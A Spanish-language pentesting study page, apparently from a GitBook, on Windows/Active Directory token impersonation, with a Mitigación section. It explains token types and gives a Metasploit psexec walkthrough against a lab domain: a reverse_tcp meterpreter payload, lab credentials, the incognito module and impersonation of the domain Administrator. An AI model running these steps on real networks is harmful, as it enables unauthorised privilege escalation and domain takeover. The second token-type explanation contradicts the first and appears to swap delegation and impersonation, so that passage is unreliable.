> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/active-directory/token-impersonation.md).

# Token Impersonation

Esta técnica de suplantación requiere que el atacante obtenga privilegios de administrador local en la máquina comprometida para robar sus tokens.

### Qué son los tokens?

* Claves temporales que permiten acceder a un sistema/red sin tener que proveer las credenciales cada vez que necesitamos acceder a un archivo.
* Digamos que son como las cookies pero para las computadoras.

#### Dos tipos

* **Delegate:** Creadas para iniciar sesión en una máquina o usar escritorio remoto
* **Impersonate (suplantación):** "Non-Interactive", como adjuntar una unidad de red o un script de inicio de sesión de dominio

### Token Impersonation:

**Token Impersonation** es un concepto en sistemas operativos Windows, donde un proceso (llamado el "servidor") puede actuar en nombre de otro proceso (el "cliente") utilizando su identidad. Esto se logra a través del uso de tokens de seguridad.

#### Tipos de Tokens:

1. **Token de Delegación (Delegation Token)**:
   * Un token de delegación es un tipo de token de seguridad que permite a un proceso actuar en nombre de otro proceso, pero solamente dentro del mismo equipo.
   * Es útil en aplicaciones distribuidas donde un proceso necesita realizar acciones en nombre de otro proceso en la misma máquina.
   * Por ejemplo, en una aplicación web, un servidor web puede usar un token de delegación para acceder a recursos en nombre del usuario que está utilizando la aplicación.
2. **Token de Impersonación (Impersonation Token)**:
   * Un token de impersonación, por otro lado, permite que un proceso actúe en nombre de otro proceso tanto en la misma máquina como en máquinas remotas.
   * Es comúnmente utilizado en aplicaciones cliente-servidor donde un servidor necesita realizar acciones en nombre de un cliente, ya sea en la misma máquina o en máquinas remotas.
   * Por ejemplo, en un entorno de servidor de archivos, el servidor puede usar un token de impersonación para acceder a archivos y recursos en nombre del cliente que solicitó la acción.

En resumen, el token impersonation permite a un proceso actuar en nombre de otro, y existen dos tipos de tokens asociados: delegación, que permite la acción solo en la misma máquina, y impersonate, que permite la acción tanto en la misma máquina como en máquinas remotas. Estos conceptos son fundamentales en la programación y la seguridad de sistemas distribuidos en entornos Windows.

#### Metasploit - `incognito`

```bash
search psexec
use exploit/windows/smb/psexec
options
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 172.16.0.101
set SMBUser pparker
set SMBPass Password123
set smbDomain MARVEL.local
meterpreter> load incognito
meterpreter> list_tokens -u # Lista los tokens disponibles bajo el contexto del usuario actual
meterpreter> impersonate_token MARVEL\\Administrator
meterpreter> shell
```

### Mitigación

* Limitar los usuarios/grupos que tiene permisos para la creación de tokens
* Jerarquización de cuentas
  * Ej. Si Bob es administrador de dominio, no es necesario que Bob utilice la cuenta de Administrador de Dominio para iniciar sesión en una máquina.
* Restricción de Administradores locales.
